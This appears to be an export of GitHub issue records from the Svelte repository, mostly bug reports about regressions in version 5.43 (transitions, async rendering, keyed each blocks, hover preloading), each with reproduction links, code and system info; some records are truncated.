<img width=""545"" height=""784"" alt=""Image"" src=""https://github.com/user-attachments/assets/0c357f66-c642-44d4-ad16-c3e7ba107b90"" />

### Reproduction

Both in VSCode and `pnpx sv check`

Example of Comment:
```
	/**
	 * ## Component: AutoHideHeader ##
	 * Auto-hiding header that slides up when scrolling down and reappears when scrolling up.
	 * Perfect for maximizing content space while keeping navigation accessible.
	 *
	 * Behavior:
	 * - Hides when scrolling DOWN (slides up)
	 * - Shows when scrolling UP or at top of page
	 * - Always visible when at top of page (within threshold)
	 *
	 * CSS Variables set by component (can be overridden):
	 * - --autohide-header-height: Auto-calculated height in pixels
	 * - --autohide-header-transition: Transition duration (default: 0.3s)
	 * - --autohide-header-z-index: Z-index value (default: 999)
	 *
	 * Classes applied for styling hooks:
	 * - .autohide-header: Base class
	 * - .autohide-visible: When header is visible
	 * - .autohide-hidden: When header is hidden
	 * - .autohide-scrolled: When user has scrolled past threshold
	 *
	 * Example Usage:
	 *
	 * ```svelte
	 * <script>
	 *   import { AutoHideHeader } from '$lib/components'
	 *   let headerVisible = $state(true)
	 *   let hasScrolled = $state(false)
	 * </script>
	 *
	 * <!-- Simple usage -->
	 * <AutoHideHeader>
	 *   <nav>Logo | Links | Menu</nav>
	 * </AutoHideHeader>
... [TRUNCATED]",,2025-11-21T20:58:02Z,2025-11-22T05:31:51Z,2
sveltejs/svelte,3652933556,Combining transitions and animations causes flicker since .8 update,"### Describe the bug

After #17150 there is flickering (refresh if you missed it) when combining transition (for animating in) and animate:flip (for when reordering happens). This did not happen prior to this PR. It would be great if this gets fixed.

### Reproduction

https://svelte.dev/playground/053581b4d5914c37b1e42ac1cb245e8b?version=5.43.7 here it works

https://svelte.dev/playground/57cba6ae82a648b587daf6733dd9892b?version=pr-17150 here it got broken

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 AMD Ryzen 7 7840HS w/ Radeon 780M Graphics     
    Memory: 2.08 GB / 15.29 GB
  Binaries:
    Node: 24.11.0 - C:\nvm4w\nodejs\node.EXE
    npm: 11.6.1 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.23.0 - C:\Users\micro\AppData\Local\pnpm\pnpm.CMD
  Browsers:
    Chrome: 142.0.7444.176
    Edge: Chromium (139.0.3405.102)
  npmPackages:
    svelte: ^5.43.14 => 5.43.14
```

### Severity

blocking an upgrade",,2025-11-21T20:02:12Z,2025-12-09T07:10:59Z,3
sveltejs/svelte,3651825925,Async: HMR Broken after navigate,"### Describe the bug

When you set the async and remote function experimental options to true the page content will cease to exist when you save a file if you have navigated elsewhere. This then requires you to manually refresh the page. 

### Reproduction

1. Startup the [example REPO](https://github.com/agillispie/hmr-broke-svelte) in dev mode
2. Add something to the home page markup and notice that HMR performs as expected.
3. Navigate to the view users page and then navigate back to the home page.
4. Add something to the homepage markup and save
5. Witness content disappear.
6. Go to the svelte config and disable everything regarding async/remote funcs
7. Restart the dev server
8. Add something to the home page, witness it work as expected.
9. Navigate to the users page and then back to the home page
10. Add something to the markup
11. Witness content and HMR work as expected.




### Logs

```shell
No logs are output
```

### System Info

```shell
System:
    OS: macOS 26.2
    CPU: (10) arm64 Apple M4
    Memory: 2.50 GB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.1 - /Users/a/.nvm/versions/node/v22.13.1/bin/node
    npm: 11.2.0 - /Users/a/.nvm/versions/node/v22.13.1/bin/npm
    pnpm: 10.20.0 - /Users/a/.nvm/versions/node/v22.13.1/bin/pnpm
    bun: 1.2.21 - /Users/a/.bun/bin/bun
  Browsers:
    Chrome: 142.0.7444.162
    Safari: 26.2
  npmPackages:
    svelte: ^5.43.8 => 5.43.14 
    @sveltejs/kit: => 2.48.5
```

### Severity

annoyance",,2025-11-21T14:07:25Z,2026-04-08T20:49:06Z,2
sveltejs/svelte,3651668502,bug: `page.url` updates on link preload when `compilerOptions.experimental.async` is true,"### Describe the bug

This one is really ugly cause it's really not what you'd expect. I'm not really sure what's going on here but as you can see the value updates inside script tags breaking things in unexpected ways. Weirdly enough it doesn't actually update the value in the template.

In the video I remove both the experimental.remoteFunctions and experimental.async options but it's isolated to experimental.async.

(P.S. Leaving this as an annoyance cause this is experimental but I def couldn't ship with this bug)

### Reproduction

https://github.com/user-attachments/assets/6b3a7ead-aed3-492a-9020-ad397ce02285

https://github.com/ieedan/svelte-repro

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M4 Pro
    Memory: 196.77 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - /Users/ieedan/.nvm/versions/node/v22.19.0/bin/node
    npm: 10.9.3 - /Users/ieedan/.nvm/versions/node/v22.19.0/bin/npm
    pnpm: 10.17.1 - /Users/ieedan/Library/pnpm/pnpm
    bun: 1.2.13 - /Users/ieedan/.bun/bin/bun
    Deno: 2.4.0 - /Users/ieedan/.deno/bin/deno
  Browsers:
    Chrome: 142.0.7444.176
    Safari: 18.6
  npmPackages:
    svelte: ^5.43.8 => 5.43.14
```

### Severity

annoyance",awaiting submitter,2025-11-21T13:21:30Z,2026-03-16T20:59:37Z,6
sveltejs/svelte,3651321968,Css attribute pruning is not case insensitive,"### Describe the bug

```svelte
<script lang=""ts"">
  import { logout } from ""./logout.remote"";
</script>

<!-- Adding this form element -->
<form {...logout}></form>

<!-- 1. Does not add `svelte-*` class name in build output -->
<form method=""GET"">
  <h1>Hello, World!</h1>
</form>

<style lang=""postcss"">
  /* 2. Disables the following warning: */
  /* Unused CSS selector ""form[method=""get""] :global"" */
  form[method=""get""] :global {
    h1 {
      color: red;
    }
  }
</style>
```

In `vite preview`, the markup is:

```html
<form method=""POST"" action=""?/remote="" class=""svelte-1uha8ag""></form>
<form method=""GET""><h1>Hello, World!</h1></form>
```

1. The `h1` element is red in dev only (due to lack of `svelte-*` class name)
2. The unused CSS warning is incorrect (which is why it is red in dev mode)

> The case sensitivity of attribute names and values depends on the document language. In HTML, attribute names are case-insensitive, as are spec-defined [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) values. — [source](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/Attribute_selectors#description)


### Reproduction

https://github.com/hyunbinseo/svelte-kit-14963


### System Info

```Shell
System:
  OS: Windows 11 10.0.26200
  CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
  Memory: 4.66 GB / 31.48 GB
Binaries:
  Node: 24.11.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\25576_1763723570534\node.EXE
  Yarn: 1.22.22 - C:\Users\hyun... [TRUNCATED]",css,2025-11-21T11:30:53Z,2026-02-17T14:54:17Z,4
sveltejs/svelte,3649997895,[5.43.13] Hover preload error: `props_invalid_value`,"### Describe the bug

I'm getting the following error:
```
error.svelte:28 Svelte error: props_invalid_value
Cannot do `bind:value={undefined}` when `value` has a fallback value
https://svelte.dev/e/props_invalid_value
```

I'm not 100% sure, but I am guessing that it is caused by having the same component (in my case a `<Search>` component) on two pages with a binding that is dependent on async data.

The error is generated when hovering a link from one page to the other while hover preloading is enabled.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-j4cmhsez?file=package.json,src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2Ftest%2F%2Bpage.svelte

Hover the link and check the browser console

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 309.19 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.43.13 => 5.43.13
```

### Severity

blocking an upgrade",,2025-11-21T02:59:14Z,2025-11-24T21:41:10Z,1
sveltejs/svelte,3647125426,Regression: draw transition removes element early after Svelte v5.41.1,"### Describe the bug

In Svelte releases from v5.41.1 onward the `draw` transition appears to stop part‑way through its duration and the element is removed from the DOM early. In my reproduction the transition is applied to a `<path>` element to draw a circle over a duration of 5000 ms. On v5.41.0 the circle stays in the DOM and continues to draw for the full duration. Starting with v5.41.1 the element disappears after about 3 seconds, even though the transition should run for 5 seconds.

This can be observed in the provided REPL: click ""show snackbar"" to start the 5 s timer. The SVG path is displayed inside a `svelte:element` wrapper and uses `out:draw|global={{ duration: TIMER_SECONDS, easing: linear }}`. After around 3 s, the `<path>` element is removed. This is independent of the Snackbar itself — it’s just being used as an easy way to trigger a timed event; the core issue is that `draw` removes the element early.

**Expected behaviour**

The element with `out:draw` should remain in the DOM and the stroke should animate for the full specified duration before being removed.

**Actual behaviour**

On versions v5.41.1 and later the element is removed from the DOM after ~3 s, causing the draw transition to end prematurely.

### Reproduction

https://svelte.dev/playground/303444aa847845c8bea255de4fde9a0b?version=5.41.1

Steps to reproduce:

1. Click ""show snackbar"" to start the 5 second timer and draw transition.
2. Observe that the SVG circle disappears after about 3 seconds ... [TRUNCATED]",,2025-11-20T12:44:20Z,2025-11-20T13:06:45Z,1
sveltejs/svelte,3645349736,[5.43.12] `unshift` breaks keyed `#each` index,"### Describe the bug

When using `unshift` to add elements to an array used in a keyed `#each` block, the index doesn't correctly update, breaking everything inside that depends on it (element id, input names, etc).

### Reproduction

Working:
https://svelte.dev/playground/2c88b99bca074875bc50c2b9d0462545?version=5.43.11
Not working:
https://svelte.dev/playground/2c88b99bca074875bc50c2b9d0462545?version=5.43.12

### Logs

```shell

```

### System Info

```shell
svelte@5.43.12
```

### Severity

blocking an upgrade",,2025-11-20T04:03:32Z,2025-11-25T21:42:16Z,1
sveltejs/svelte,3643324671,Async: breaking bug when hovering a link that has +layout.svelte,"### Describe the bug

Since svelte 5.42.0, there is a weird reactivity bug in a very specific situation.
Using bits-ui (for example a tooltip), and experimental async, when hovering/preloading a link that points to a page with +layout.svelte, the tooltip freezes. And any other tooltip will not work anymore.

### Reproduction

I made a sveltekit project on SvelteLab with everything needed to reproduce the problem: https://www.sveltelab.dev/q30g562x4ns934i

Hope it helps.

### Logs

```shell

```

### System Info

```shell
On macos, sveltelab....
```

### Severity

blocking an upgrade",,2025-11-19T15:41:13Z,2026-01-29T00:00:14Z,7
sveltejs/svelte,3643028298,Wrong migration for self closing tags with slot attribute,"### Describe the bug

This
```svelte
<Component>
	<div slot=""something"" />
</Component>
```
is currently migrated to
```
<Component>
	{#snippet something()}
		<div >
	{/snippet}</div>
</Component>
```
which is completely broken.

### Reproduction

1. Go [here](https://svelte.dev/playground/hello-world?version=5.43.12#H4sIAAAAAAAAE23LQQrCMBBG4auEf6UQ7D7UgrjxDsZFNFMNTCelGVul9O7Shbhx-_HeDAkdweFEzNlMeeBoNhSTUtzCok1MBe48Q9_92q0A-70Ofb8rI7Gudg2F_vkti5JogUN9zF2fhUQbL17rmEZTOOveo-SO9JHk7mGqxktd_VpYKL0UTocnLRcLDYmnJBGuDVxo-QDPletMxwAAAA)
2. Press migrate
3. Observe the broken state

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",,2025-11-19T14:35:29Z,2025-11-20T16:13:59Z,0
sveltejs/svelte,3640794582,[5.43.9] Reading async data in `{@attach}` causes `Cannot read properties of undefined (reading 'f')`,"### Describe the bug

Reading remote function data in an attachment causes the error:
```
TypeError: Cannot read properties of undefined (reading 'f')
```

This error started in 5.43.9. It works in 5.43.8, although the boundary content is duplicated (an issue fixed in 5.43.9).

Current workaround is passing the data to the attachment in a callback function.

```svelte
  <button
    {@attach download(() => ({
      filename: ""data.json"",
      blob: new Blob([JSON.stringify(data)])
    }))}
  >
    Export
  </button>
```

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-3yuabjmd?file=src%2Flib%2Fcomponent.svelte,src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 309.19 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.43.9 => 5.43.9
```

### Severity

annoyance",,2025-11-19T02:42:01Z,2025-11-20T16:23:03Z,2
sveltejs/svelte,3638748710,[5.43.10] Two hover preloading issues,"### Describe the bug

In my local dev server testing, I noticed two issues in the latest Svelte version. However, I was only able to reproduce one of them in Stackblitz
- When hovering one link, then clicking another, the page does not load. This one I was able to reproduce.
- When navigating from a page with params to a page without params, the params object becomes empty when clicking the link to go to the page without params causing remote functions in the current page to error. I was not able to reproduce this in Stackblitz.

Disabling the hover preloading fixes the issues for now:
```diff
-  data-sveltekit-preload-data=""hover"" data-sveltekit-preload-code=""eager""
```

### Reproduction

#### The issue I could reproduce
https://stackblitz.com/edit/sveltejs-kit-template-default-vgnsfckn?file=package.json,src%2Froutes%2Ftest.remote.ts,src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2F[test]%2F%2Bpage.svelte

#### The isssue I couldn't reproduce
![Image](https://github.com/user-attachments/assets/f52c5dd9-616a-4885-9f96-3822eb2177bd)

```
Remote function schema validation failed: [
  {
    kind: 'schema',
    type: 'union',
    input: undefined,
    expected: '(string | ""new"")',
    received: 'undefined',
    message: 'Invalid type: Expected (string | ""new"") but received undefined',
    requirement: undefined,
    path: [ [Object] ],
    issues: [ [Object], [Object] ],
    lang: undefined,
    abortEarly: undefined,
    abortPipeEarly: undefined
  }
]
```

### Logs

```shell

```

... [TRUNCATED]",,2025-11-18T15:28:06Z,2025-11-19T23:13:09Z,2
sveltejs/svelte,3637913318,Passing $state wrapped variables to native code bridge causes DataCloneError: The object can not be cloned,"### Describe the bug

This took me a while to figure out this morning (LLMs also have no idea)

When passing Svelte 5 $state variables to native bridged code (via Capacitor in this instance) you can get a ""DataCloneError: The object can not be cloned."" error on iOS


### Reproduction

```js
import { AdMob, BannerAdSize } from '@capacitor-community/admob';
bannerOptions = $state({
        adId: unitId,
        adSize: BannerAdSize.ADAPTIVE_BANNER,
        position: BannerAdPosition.BOTTOM_CENTER
      });
 await AdMob.showBanner(bannerOptions);

// Work around, use spread operator (or $state.snapshot):
await AdMob.showBanner({ ...bannerOptions });
```



### Logs

```shell
[Error] Unhandled Promise Rejection: DataCloneError: The object can not be cloned.
	postMessage
	postToNative (user-script:2:847)
	(anonymous function) (user-script:2:904)
	(anonymous function) (user-script:2:993)
	Promise
	(anonymous function) (user-script:2:992)
	(anonymous function)
```

### System Info

```shell
System:
    OS: macOS 15.7.1
    CPU: (14) arm64 Apple M3 Max
    Memory: 602.67 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.0
    Yarn: 1.22.22
    npm: 11.6.1
  Browsers:
    Chrome: 142.0.7444.162
    Firefox: 143.0.1
    Safari: 26.0.1
  npmPackages:
    svelte: ^5.0.0-next.1 => 5.16.2
```

### Severity

annoyance",,2025-11-18T12:19:44Z,2025-11-18T16:15:55Z,2
sveltejs/svelte,3637573419,Drastic perf decrease in {#each} block performance from v5.43.8+,"### Describe the bug

After upgrading to v.5.43.8 our application started freezing in places where we use a VirtualList component. It seems like something was introduced in https://github.com/sveltejs/svelte/pull/17150 which causes this performance regression.

### Reproduction

Go to this REPL and scroll up and down the page enough times, and the whole website just freezes: https://svelte.dev/playground/b6b5a280e01b4996bb1b3499f721fa46?version=5.43.10

Video:

https://github.com/user-attachments/assets/c45e8353-6c66-4652-98a0-9dbe35a1fe31



### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 94.16 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - /Users/mathiaspicker/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - /Users/mathiaspicker/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.15.1 - /opt/homebrew/bin/pnpm
    bun: 1.0.0 - /Users/mathiaspicker/.bun/bin/bun
  Browsers:
    Brave Browser: 142.1.84.139
    Chrome: 142.0.7444.176
    Edge: 142.0.3595.80
    Firefox: 142.0.1
    Safari: 18.6
```

### Severity

blocking an upgrade",,2025-11-18T11:11:14Z,2025-11-18T22:34:03Z,0
sveltejs/svelte,3635944106,flip/crossfade animation regression in 5.43.8,"### Describe the bug

Observe how new items are sliding from the top. In the 5.43.7 they are just added at the bottom.

https://github.com/user-attachments/assets/2c04e027-d3ca-43e3-b886-3ad2d794c9bc

### Reproduction

Compare 5.43.7 and 5.43.8 in the [REPL](https://svelte.dev/playground/hello-world?version=5.43.8#H4sIAAAAAAAAE21Sy47bMAz8FUItsDY2cJwCvXiTAL21h_2C9R6UiI6FypIhMY-F4X8vJdvZpujBMTMcDoekB2Flh6ISP9EYB1fnjYIMlSZUuViJRhsMonobBH30kRcBxueqH31fhAsaithBBvwffnSW0BLLiG04et3TvrY16a53nmAAZ1_d2RKM0HjXwdNU-PTAaYzu_yGspdWdnInxMUhgdCDYwddAnMne3nNOcGpukWU57PYwpApiX0zWivkB6Reb9BdpHjk1Nc5DFqU188oXfm138C0Gz8_5J43bc-uiP4c2G1i0SlYKg_ZE7QpY-IwVvEpqCy-tch23GfOlepyCcQWbsixn2COdvYXJz9Gg9HePWiVOFNiuP3dqt0pfmCpD2NVp71Jb9LXg5PAF5bGdFiQD8IE7yOJvwWKp_0NxzNQC5h1Xcf_7IdHTKON2zewou46yY_QxARwF-jCYblzcPSybalGfWqrge1n2t5cJcxf0jXHXCngUZ0yCx-lyRTJ6v5hxvoKDkcffc-2Bw5Pn4_LGry2TF9x5hczd9DcIzvCV_67qpVLantgGpzeLkzTFYp4_XMIbiYo8j_vO_6Q2V22VqBppAo5_ADuQsRk7AwAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",transition/animation,2025-11-18T03:27:15Z,2025-11-25T21:52:03Z,7
sveltejs/svelte,3635746485,Update from Svelte 5.43.3 to latest one (5.43.10) causing freezes on load data re-render (#each),"### Describe the bug

When my data gets rendered and it contains animate:flip it's causing this error:
Invalid keyframe value for property transform: matrix(1, 0, 0, 1, 0, 18) translate(NaNpx, NaNpx) scale(NaN, NaN)

Here's the repo:
https://github.com/p0xz/BossFlix-Moviesite/blob/Experimental/src/routes/%2Bpage.svelte

It actually freezes whole website causing me to not be able to click anywhere and eventually chrome will just asks if i want to wait or shut it off, but even after I removed the animate:flip there's still issue with the freezing. I don't know what's going on under the hood really, but this code wasn't causing issues in the Svelte 5.43.3 


PS: Never written an issue on gh, so sorry if my description sounds awful 🗡️ 

### Reproduction

Code used in this issue:
https://github.com/p0xz/BossFlix-Moviesite/blob/Experimental/src/routes/%2Bpage.svelte
https://github.com/p0xz/BossFlix-Moviesite/blob/Experimental/src/routes/%2Blayout.svelte

### Logs

```shell
450x Invalid keyframe value for property transform: matrix(1, 0, 0, 1, 0, 18) translate(NaNpx, NaNpx) scale(NaN, NaN)
```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 20.49 GB / 31.27 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 25.0.0 - /home/p0xz/.nvm/versions/node/v25.0.0/bin/node
    npm: 11.6.2 - /home/p0xz/.nvm/versions/node/v25.0.0/bin/npm
    bun: 1.3.1 - /ho... [TRUNCATED]",,2025-11-18T02:01:22Z,2025-11-19T00:54:01Z,4
sveltejs/svelte,3635689888,[5.43.9] Async `{#if}` block failing,"### Describe the bug

When I have a remote function that returns an array, the `{:else if data.length}` block is not rendering, even though the function always returns 2 items.

In my local dev environment, I'm getting:
```
Cannot read properties of undefined (reading 'length')
```

It happens with or without a boundary and with or without a pending snippet in the boundary.

In the REPL, you can see the fallback `{:else}` block rendering the data, even though it should never reach that block.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-kfjqgvne?file=src%2Froutes%2Ftest.remote.ts,src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.43.10 => 5.43.10
```

### Severity

blocking an upgrade",,2025-11-18T01:25:21Z,2026-02-04T21:11:31Z,1
sveltejs/svelte,3635053756,"i'm getting a ""Invalid keyframe value for property height: NaNpx"" error","### Describe the bug

 on my in:slide={{ duration: 300 }} out:slide={{ duration: 400 }} element, i get a error for invalid keyframes. This only happens in desktop mode. The animation is triggered by an {#if} around some elements. The structure is as follows:

```
{#if $dropdownIsOpen}
    <div in:fade={{ duration: 300 }} out:fade={{ duration: 400 }}>
        <ul in:slide={{ duration: 300 }} out:slide={{ duration: 400 }}>
            {#each}
                <!-- a loop that spits out some <li> items  -->
            {/each}
        </ul>
    </div>
{/if}
```

Additional information:
the dropdownIsOpen is a writable(false) let variable
the eror comes from the slide animation. When replacing it with a fade or a fly, or removing it, there is no error.
The error only happens on desktop. On mobile the error doesn't appear.
I am using chrome

### Reproduction

https://svelte.dev/playground/85dec04ccd4240d1bd7bab11b05b08df?version=5.43.8

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (16) x64 AMD Ryzen 7 5800X 8-Core Processor
    Memory: 40.58 GB / 63.91 GB
  Binaries:
    Node: 22.17.1 - C:\Program Files\nodejs\node.EXE
    npm: 11.5.2 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 142.0.7444.163
    Edge: Chromium (140.0.3485.54)
    Firefox: 143.0 - C:\Program Files\Mozilla Firefox\firefox.exe
    Internet Explorer: 11.0.19041.5794
```

### Severity

annoyance",,2025-11-17T20:57:38Z,2025-11-17T21:43:23Z,1
sveltejs/svelte,3632992334,Undefined item in keyed each block since v5.43.8,"### Describe the bug

in `svelte:boundary` context, Keyed each block throws an exception since v5.43.8 when keys change (see logs)
The exception is thrown by this [code](https://github.com/sveltejs/svelte/blob/b9c7e45408bdec5237e8b3b9cccd340db3a1683f/packages/svelte/src/internal/client/dom/blocks/each.js#L399C1-L404C18) 

#17150 

### Reproduction

https://github.com/Jerboas86/each_bug

### Logs

```shell
Uncaught TypeError: can't access property ""o"", item is undefined
    reconcile each.js:403
    commit each.js:169
    #resolve batch.js:361
    process batch.js:177
    flush_effects batch.js:636
    flush batch.js:340
    ensure batch.js:516
    run_all utils.js:45
    run_micro_tasks task.js:10
    queue_micro_task task.js:28
    (Async: VoidFunction)
    queue_micro_task task.js:19
    enqueue batch.js:526
    ensure batch.js:510
    internal_set sources.js:184
    set sources.js:163
    set proxy.js:302
    acq GridState.svelte.ts:35
    acquire GridState.svelte.ts:56
    acquire GridState.svelte.ts:113
    spawnWidget ISidePanel.svelte:60
    handle_event_propagation events.js:261
    (Async: EventListener.handleEvent)
    event_handle render.js:179
    _mount render.js:194
    hydrate render.js:117
    Svelte4Component legacy-client.js:115
    <anonymous> legacy-client.js:54
    initialize client.js:587
    _hydrate client.js:2854
    InterpretGeneratorResume self-hosted:1332
    AsyncFunctionNext self-hosted:800
    (Async: async)
    start client.js:361
    Interpret... [TRUNCATED]",,2025-11-17T11:49:59Z,2025-11-19T12:35:54Z,8
sveltejs/svelte,3629969794,`<svelte:boundary>` async reactivity loss,"### Describe the bug

Since 5.43.3 there appears to be some kind of race condition where the rendered value in the boundary can be stale.

Bug seems to have been introduced by #17098 

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.7#H4sIAAAAAAAAE4VRy07DMBD8lZXpIZEiChxDGuAGEhIcuFEObrxBlty1sdd9EOXfkZumAYGEj7MzszPrTpBcoyjFPRpjYWu9UZCh0owqF4VotcEgytdO8N4lXgJEMarunDsPGzScsJUM-BfeWGIkDqIUVWi8dlwvCQDAIENrLSxgFlgyZpf59TRZST9NWmkCpukwn2HbYsNZlsOihm4A0xvsrq4nZLBhH_EI9pONDHtqoI3UsLYEgaUxWf7dzyNHT0C4hWdv1zpg5jFYs8G0OCC_6DXayCNawEU-lujHNUObz9RGodcbVFlKdQNyKzWf1pZA0ZikruanOy2pcvVT5KAVwspGUtLvYSNNxBK61tq-mruBNxy8HEnHI3dngbRzyOCQlKb3LO-nfpWrH61M8GBzUMyPilOB7raxFBg-YtzB4mfsE6ly9QP9F7Oa_04pCsG4Y1GmT-rfCsFSm60mJcrDt_df-IquuaUCAAA)

```svelte
<script>
    let foo = $state(1);
    let bar = $state(false);

    $effect(() => {
        foo = 2;
        bar = true;
    });

    async function stall() {
        return new Promise(resolve => setTimeout(resolve, 0));
    }

    let baz = $derived(bar ? await stall() : null);
</script>

<p>Outside boundary value: {foo}</p>

<svelte:boundary>
    {#snippet pending()}
        <p>Loading</p>
    {/snippet}

    {@const quux = await stall()}

    <p>Inside boundary value: {foo}</p>
</svelte:boundary>
```

### Logs

```shell

```

### System Info

```shell
Svelte playground
```

### Severity

blocking an upgrade",,2025-11-16T05:34:09Z,2025-11-21T03:09:48Z,2
sveltejs/svelte,3625826085,set_context_after_init when async layout child component sets context,"### Describe the bug

This issue only happens in production, not in development.

I am using `svelte-sonner` to create toasts. The `<Toaster>` component provided by sets context internally. If the script block of the page or layout that renders the component awaits anything, it causes a `set_context_after_init` error.

Does this mean that any async work in the script block will break components that use context? That seems like a serious issue.

### Reproduction

Run this:
```
pnpm install && pnpm build && pnpm preview
```
https://stackblitz.com/edit/sveltekit-template-sjtkof-kjhfxzem?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
Uncaught (in promise) Error: https://svelte.dev/e/set_context_after_init
    at sn (C0Zr-Aao.js:1:1560)
    at gr (C0Zr-Aao.js:1:3124)
    at Va.set (2.Bo1tjYvL.js:2:7053)
    at Li (2.Bo1tjYvL.js:2:26693)
    at 2.Bo1tjYvL.js:2:30377
    at async Ar (C0Zr-Aao.js:1:11342)
```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 1.32 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.41.4 => 5.41.4
```

### Severity

annoyance",awaiting submitter,2025-11-14T14:19:52Z,2025-11-14T15:54:36Z,3
sveltejs/svelte,3624001029,Allow for comments inside element tags,"### Describe the problem

When I have many attributes on an element, I often comment them in-and-out while developing to see how event calbacks, styles, etc, behave in isolation. This works as expected in other frameworks.

However, Svelte doesn't seem to allow comments within element tags. The following snippet errors with `'<!--' is not a valid attribute name`:
```html
<div
  <!-- id="""" -->
  class=""""
>
  ...
</div>
```
This wouldn't be valid HTML syntax, but this restriction just makes my life a harder.

### Describe the proposed solution

Make these types of comments valid Svelte syntax and strip them out from the compiled output.

### Importance

would make my life easier",,2025-11-14T05:51:06Z,2025-11-14T09:52:33Z,1
sveltejs/svelte,3618896887,"testing $state, $derived, and $effect.root does not behave as expected","### Describe the bug

Hello, in my attempt to recreate the tests in https://svelte.dev/docs/svelte/testing, I've run into test cases that do not behave as expected. Here is the test file with two tests ""runes"" and ""effect.root"":

```
import { flushSync } from ""svelte"";
import { describe, expect, it } from ""vitest"";

describe(""svelte"", () => {
  it(""runes"", () => {
    let state = $state(""hello"");
    let der = $derived(state.length);

    state = ""bye"";
    flushSync();

    expect(der).toBe(3);
  });

  it(""effect.root"", () => {
    const cleanup = $effect.root(() => {
      expect(true).toBe(false);
    });
    cleanup();
  });
});
```

1. ""runes""
Expected behavior: passes with der = 3.
Actual behavior: fails with der = 5 instead of 3.

2. ""effect.root"" 
Expected behavior: fails due to true !== false
Actual behavior: fails with ""expected any number of assertion, but got none""

I believe the tests are configured correctly because non-svelte tests using $state would fail on $state not found.
Please lmk if this is actually configuration error or if expectations are incorrect.
Tests ran with svelte version 5.40.0, 5.41.0, and 5.43.0 - same behaviors.

### Reproduction

Repo with the reproduction:
https://github.com/win-chen/svelte-test-bug

Run tests:
```
npm install
npm run test
```

View ""src/test.svelte.spec.ts"" for the tests in question. There is a third test in this file which is just the copy of the ""Effect"" test in the docs https://svelte.dev/docs/svelte/testing

### Log... [TRUNCATED]",,2025-11-13T01:15:23Z,2025-11-13T17:11:34Z,1
sveltejs/svelte,3618103902,`<select>` displays wrong choice when options are dynamically updated,"### Describe the bug

